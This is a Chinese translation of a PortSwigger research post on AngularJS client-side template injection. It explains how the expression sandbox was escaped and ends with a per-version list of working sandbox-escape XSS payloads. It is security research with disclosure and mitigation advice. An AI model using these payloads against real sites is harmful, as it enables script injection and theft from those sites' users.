没有 HTML 的 XSS:使用 AngularJS 的客户端模板注入
Charmersix

文章引用自:https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs

研究员加雷斯·海耶斯

@garethheyes(蓝鸟)

抽象的

对极受欢迎的 JavaScript 框架AngularJS的天真使用将许多网站暴露给 Angular 模板注入。这种相对低调的服务器端模板注入兄弟可以与 Angular 沙箱逃逸相结合,以在其他安全站点上发起跨站点脚本( XSS ) 攻击。到目前为止,还没有公开的沙盒逃逸会影响 Angular 1.3.1+ 和 1.4.0+。这篇文章将总结 Angular 模板注入的核心概念,然后展示影响所有现代 Angular 版本的新沙箱逃逸的开发。

介绍

AngularJS 是 Google 编写的 MVC 客户端框架。使用 Angular,您通过 view-source 或 Burp 看到的包含“ng-app”的 HTML 页面实际上是模板,并将由 Angular 呈现。这意味着如果用户输入直接嵌入到页面中,应用程序可能容易受到客户端模板注入的攻击。即使用户输入是 HTML 编码的并且在属性内也是如此。

Angular 模板可以包含表达式 ——双花括号内的类似 JavaScript 的代码片段。要了解它们是如何工作的,请查看以下 jsfiddle:

http://jsfiddle.net/2zs2yv7o/

文本输入 2 由 Angular 评估,然后显示输出:2。

这意味着任何能够注入双花括号的人都可以执行 Angular 表达式。Angular 表达式本身不会造成太大伤害,但是当与沙箱逃逸结合使用时,我们可以执行任意 JavaScript 并造成严重破坏。

以下两个片段显示了漏洞的本质。第一个页面动态嵌入用户输入,但不易受到 XSS 攻击,因为它使用htmlspecialchars对输入进行 HTML 编码:

以下两个片段显示了漏洞的本质。第一个页面动态嵌入用户输入,但不易受到 XSS 攻击,因为它使用htmlspecialchars对输入进行 HTML 编码:

第二页几乎相同,但 Angular 导入意味着可以通过注入 Angular 表达式来利用它,并且通过沙箱逃逸我们可以获得 XSS。

请注意,您需要在 DOM 树中的表达式上方有“ng-app”。通常,Angular 站点会在根 HTML 或 body 标记中使用它。

换句话说,如果一个页面是一个 Angular 模板,我们将更容易对它进行 XSS 攻击。只有一个问题 - 沙盒。幸运的是,有一个解决方案。

沙盒

Angular 表达式被沙盒化,“以保持应用程序职责的适当分离”。为了利用用户,我们需要突破沙箱并执行任意 JavaScript。

让我们重用前面的小提琴,并在 Chrome 的源选项卡中的 angular.js 内的第 13275 行放置一个断点。在监视窗口中,添加一个新的监视表达式“fnString”。这将显示我们转换后的输出。1+1 转换为:

1
"use strict";var fn = function(s, l, a, i) {  return plus(1, 1);};return fn;

所以表达式被解析和重写,然后由 Angular 执行。让我们尝试获取 Function 构造函数:

http://jsfiddle.net/2zs2yv7o/1/

这是事情变得更有趣的地方,这是重写的输出:

1
"use strict";var fn = function(s, l, a, i) {  var v0, v1, v2, v3, v4 = l && ('constructor' in l),    v5;  if (!(v4)) {    if (s) {      v3 = s.constructor;    }  } else {    v3 = l.constructor;  }  ensureSafeObject(v3, text);  if (v3 != null) {    v2 = ensureSafeObject(v3.constructor, text);  } else {    v2 = undefined;  }  if (v2 != null) {    ensureSafeFunction(v2, text);    v5 = 'alert\u00281\u0029';    ensureSafeObject(v3, text);    v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text);  } else {    v1 = undefined;  }  if (v1 != null) {    ensureSafeFunction(v1, text);    v0 = ensureSafeObject(v1(), text);  } else {    v0 = undefined;  }  return v0;};return fn;

如您所见,Angular 依次遍历每个对象并使用 ensureSafeObject 函数对其进行检查。ensureSafeObject函数检查对象是 Function 构造函数、窗口对象、DOM 元素还是 Object 构造函数。如果任何检查为真,它将引发异常并停止执行表达式。它还通过使对全局变量的所有引用改为查看对象属性来防止访问全局变量。

Angular 还有一些其他功能可以进行安全检查,例如ensureSafeMemberNameensureSafeFunction。ensureSafeMemberName 检查 JavaScript 属性并确保它与 proto 等不匹配,并且 ensureSafeFunction 检查函数调用不调用 Function 构造函数或调用、应用和绑定。

破坏消毒剂

Angular sanitizer 是用 JavaScript 编写的客户端过滤器,它扩展了 Angular 以安全地允许使用名为 ng-bind-html 的属性进行 HTML 绑定,其中包含要过滤的引用。然后它接受输入并将其呈现在不可见的 DOM 树中,并对元素和属性应用白名单过滤。

在测试Angular sanitizer时,我考虑过使用 Angular 表达式覆盖原生 JavaScript 函数。问题是 Angular 表达式不支持函数语句或函数表达式,因此您将无法用任何值覆盖函数。考虑了一会儿,我想到了 String.fromCharCode。因为该函数是从 String 构造函数调用的,而不是通过字符串文字,所以“this”值将是 String 构造函数。也许我可以后门 fromCharCode 函数!

如何在无法创建函数的情况下对 fromCharCode 函数进行后门?简单:重用现有功能!问题是如何在每次调用 fromCharCode 时控制该值。如果我们使用 Array 连接函数,我们可以使 String 构造函数成为一个假数组。我们所需要的只是一个长度属性和一个 0 属性,用于我们的假数组的第一个索引,幸运的是它已经有一个长度属性,因为它的参数长度是 1。我们只需要给它一个 0 属性。这是如何做到的:

当调用 String.fromCharCode 时,您每次都会得到字符串 <iframe onload=alert(/Backdoored/)> 而不是所需的值。这在 Angular 沙箱中完美运行。这是一个小提琴:

http://jsfiddle.net/2zs2yv7o/2/

我继续查看 Angular sanitizer 的代码,但我找不到任何会导致绕过的对 String.fromCharcode 的调用。我查看了其他原生函数,发现了一个有趣的函数:charCodeAt。如果我可以覆盖这个值,那么它将被注入到一个属性中而无需任何过滤。但是有一个问题:这次“this”值将是字符串文字,而不是字符串构造函数。这意味着我不能使用相同的技术来覆盖该函数,因为我将无法操作索引或长度,因为这对于字符串文字是不可写的。

然后我想到了使用 [].concat; 使用此函数将按原样返回字符串和连接在一起的参数。下面的小提琴调用’abc’.charCodeAt(0),所以你会期望输出是’97’(ascii a),但由于后门,它反而返回基本字符串加上参数。

http://jsfiddle.net/2zs2yv7o/3/

然后这破坏了消毒剂,因为我可以注入邪恶的属性。消毒剂代码如下所示:

1
if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {  out(' ');  out(key);  out('="');  out(encodeEntities(value));  out('"');} 

Out 将返回过滤后的输出;key 指的是属性名;value 是属性值。这是 encodeEntities 函数:

1
function encodeEntities(value) { return value.  replace(/&/g, '&').  replace(SURROGATE_PAIR_REGEXP, function(value) {   var hi = value.charCodeAt(0);   var low = value.charCodeAt(1);   return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';  }).  replace(NON_ALPHANUMERIC_REGEXP, function(value) {   return '&#' + value.charCodeAt(0) + ';';  }).  replace(/</g, '<').  replace(/>/g, '>');} 

粗体代码是发生注入的地方,因此开发人员显然希望 charCodeAt 函数返回一个 int。您可以防御性地编码并将值强制为 int,但如果攻击者可以覆盖本机函数,您可能已经拥有。这绕过了消毒剂,并使用类似的技术,我们可以突破沙箱。

逃离沙箱

我查看了查找 String.fromCharCode 调用的 Angular 源代码,发现了一个非常有趣的实例。在解析字符串文字时,他们使用它来输出值。我想我可以后门 fromCharCode 并破解已解析的字符串。这是一个小提琴:

http://jsfiddle.net/2zs2yv7o/4/

原来我可以后门 unicode 转义但不能打破重写的代码。

然后我想知道我以前在消毒剂上使用的相同技术是否可以在这里与不同的本机功能一起使用。我认为使用 charAt 可以成功解析代码,但返回完全不同的输出并绕过沙箱。我尝试注入它并检查重写的输出。

1
{{  'a'.constructor.prototype.charAt=[].join;  $eval('x=""')+''}} 

http://jsfiddle.net/2zs2yv7o/5/

控制台有一些有趣的结果,我从浏览器而不是 Angular 收到 JavaScript 解析错误。我查看了重写的代码,如下所示:

1
"use strict";var fn = function(s, l, a, i) {  var v5, v6 = l && ('x\u003d\u0022\u0022' in l);  if (!(v6)) {    if (s) {      v5 = s.x = "";    }  } else {    v5 = l.x = "";  }  return v5;};fn.assign = function(s, v, l) {  var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);  v3 = v4 ? l : s;  if (!(v4)) {    if (s) {      v2 = s.x = "";    }  } else {    v2 = l.x = "";  }  if (v3 != null) {    v1 = v;    ensureSafeObject(v3.x = "", text);    v0 = v3.x = "" = v1;  }  return v0;};return fn; 

语法错误在上面以粗体显示,如果重写的代码正在生成 JavaScript 语法错误,这意味着我可以在重写的输出中注入我自己的代码!接下来我注入了以下代码:

1
{{  'a'.constructor.prototype.charAt=[].join;  $eval('x=alert(1)')+''}} 

调试器在第一次调用时停止,我点击恢复,然后我脸上带着灿烂的笑容去吃午饭,因为甚至没有检查我就知道我拥有沙盒并且可能几乎每个版本都拥有。我吃完午饭回来,点击恢复,果然我收到了警报并打破了沙盒。这是小提琴:

http://jsfiddle.net/2zs2yv7o/6/

这是重写的代码:

1
"use strict";var fn = function(s, l, a, i) {  var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);  if (!(v6)) {    if (s) {      v5 = s.x = alert(1);    }  } else {    v5 = l.x = alert(1);  }  return v5;};fn.assign = function(s, v, l) {  var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);  v3 = v4 ? l : s;  if (!(v4)) {    if (s) {      v2 = s.x = alert(1);    }  } else {    v2 = l.x = alert(1);  }  if (v3 != null) {    v1 = v;    ensureSafeObject(v3.x = alert(1), text);    v0 = v3.x = alert(1) = v1;  }  return v0;};return fn; 

如您所见,重写的代码包含警报。您可能会注意到这在 Firefox 上不起作用。这是给你的一个小挑战,试着让它在 Firefox 和 Chrome 上运行。选择下面的隐藏文本以获得挑战的解决方案:

1
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

要深入查看 Angular 解析代码时发生的情况,请在 angular.js 的第 14079 行放置一个断点,按一次 resume 以跳过初始解析并通过在调试器中不断单击 step into function 来逐步执行代码。在这里,您将能够看到 Angular 错误地解析代码。它会认为 x=alert(1) 是第 12699 行的标识符。代码假定它正在检查一个字符,但实际上它正在检查一个更长的字符串,因此它通过了测试。见下文:

1
isIdent= function(ch) {  return ('a' <= ch && ch <= 'z' ||      'A' <= ch && ch <= 'Z' ||      '_' === ch || ch === '$'); }isIdent('x9=9a9l9e9r9t9(919)')

该字符串是使用我们覆盖的 charAt 函数生成的,而 9 是传递的参数。由于代码的编写方式,它总是会通过测试,因为“a”、“z”等总是小于较长的字符串。幸运的是,在第 12701 行,原始字符串用于制作标识符。然后在第 13247 行,当创建赋值函数时,标识符将多次注入函数字符串,当使用 Function 构造函数调用时,它会注入我们的警报。

这是针对 Angular 1.4 量身定制的最终有效载荷:

1
{{'a'.constructor.prototype.charAt=[].join;eval('x=1} } };alert(1)//');}}

结论

如果您使用的是 Angular,您需要将用户输入中的花括号视为高度危险,或者完全避免服务器端反射用户输入。大多数其他 JavaScript 框架通过不支持 HTML 文档中任意位置的表达式来回避这种危险。

Google 肯定知道这个问题,但我们不确定它在更广泛的社区中的知名度,尽管已有关于该主题的研究。Angular 的文档确实建议不要在模板中动态嵌入用户输入,但也误导性地暗示 Angular 不会将任何 XSS 漏洞引入其他安全代码中。这个问题甚至不仅限于客户端模板注入;Angular 模板注入可以(并且已经)在服务器端显示并导致 RCE。

我认为这个问题到目前为止只是因为缺乏最新的 Angular 分支的已知沙箱逃逸而引起了更广泛的关注。所以现在可能是考虑为 JavaScript 导入制定补丁管理策略的好时机。

这个沙盒逃逸事件于 2015 年 9 月 25 日私下报告给 Google,并于 2016 年 1 月 15 日在 1.5.0 版中进行了修补。鉴于 AngularJS 沙盒绕过的悠久历史,以及 Angular 坚持沙盒“并非旨在阻止攻击者” ,我们不认为更新 Angular 是表达式注入的可靠解决方案。因此,我们发布了新的Burp Scanner检查来检测客户端模板注入,并在下面包含了最新的 Angular 沙箱逃逸列表。

更新…

我们在这篇博文中提供了真实世界应用程序中的沙盒逃逸示例。我们还发布了基于 DOM 的 AngularJS 沙箱逃逸

更新…

从 1.6 版开始,Angular 已经完全移除了沙箱

沙盒逃脱

我们正在积极维护XSS 备忘单上的沙盒逃逸列表:

沙盒绕过列表

1.0.1 - 1.1.5

马里奥·海德里希 (Cure53)

1
{{constructor.constructor('alert(1)')()}}

1.2.0 - 1.2.1

扬·霍恩 (谷歌)

1
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

1.2.2 - 1.2.5

加雷斯·海耶斯 (PortSwigger)

1
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

1.2.6 - 1.2.18

扬·霍恩 (谷歌)

1
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

1.2.19 - 1.2.23

马蒂亚斯·卡尔松

1
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

1.2.24 - 1.2.29

加雷斯·海耶斯 (PortSwigger)

1
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

1.3.0

加博尔·莫纳尔 (谷歌)

1
{{!ready && (ready = true) && (      !call      ? $$watchers[0].get(toString.constructor.prototype)      : (a = apply) &&        (apply = constructor) &&        (valueOf = call) &&        (''+''.toString(          'F = Function.prototype;' +          'F.apply = F.a;' +          'delete F.a;' +          'delete F.valueOf;' +          'alert(1);'        ))    );}}

1.3.1 - 1.3.2

加雷斯·海耶斯 (PortSwigger)

1
{{    {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;    'a'.constructor.prototype.charAt=''.valueOf;     $eval('x=alert(1)//'); }}

1.3.3 - 1.3.18

加雷斯·海耶斯 (PortSwigger)

1
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;   'a'.constructor.prototype.charAt=[].join;  $eval('x=alert(1)//');  }}

1.3.19

加雷斯·海耶斯 (PortSwigger)

1
{{    'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;     $eval('x=alert(1)//'); }}

1.3.20

加雷斯·海耶斯 (PortSwigger)

1
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 - 1.4.9

加雷斯·海耶斯 (PortSwigger)

1
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

1.5.0 - 1.5.8

伊恩·希基

1
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} 

1.5.9 - 1.5.11

扬·霍恩 (谷歌)

1
{{   c=''.sub.call;b=''.sub.bind;a=''.sub.apply;   c.$apply=$apply;c.$eval=b;op=$root.$$phase;   $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;   C=c.$apply(c);$root.$$phase=op;$root.$digest=od;   B=C(b,c,b);$evalAsync("   astNode=pop();astNode.type='UnaryExpression';   astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';   astNode.argument={type:'Identifier',name:'foo'};   ");   m1=B($$asyncQueue.pop().expression,null,$root);   m2=B(C,null,m1);[].push.apply=m2;a=''.sub;   $eval('a(b.c)');[].push.apply=a;}}

>=1.6.0

马里奥·海德里希 (Cure53)

1
{{constructor.constructor('alert(1)')()}}

请访问网络学院 AngularJS 实验室以使用 AngularJS 来试验 XSS。

 Comments